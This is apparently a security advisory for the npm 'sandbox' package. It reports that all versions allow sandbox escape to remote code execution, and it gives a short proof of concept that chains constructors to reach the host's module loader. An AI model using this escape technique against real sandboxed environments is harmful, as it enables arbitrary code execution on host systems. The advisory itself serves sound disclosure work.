Details

Sandbox Breakout / Arbitrary Code Execution in sandbox All versions of `sandbox` are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors. ## Proof of concept ``` var Sandbox = require("sandbox") s = new Sandbox() code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")` s.run(code) ``` ## Recommendation No fix is currently available. Consider using an alternative module until a fix is made available.
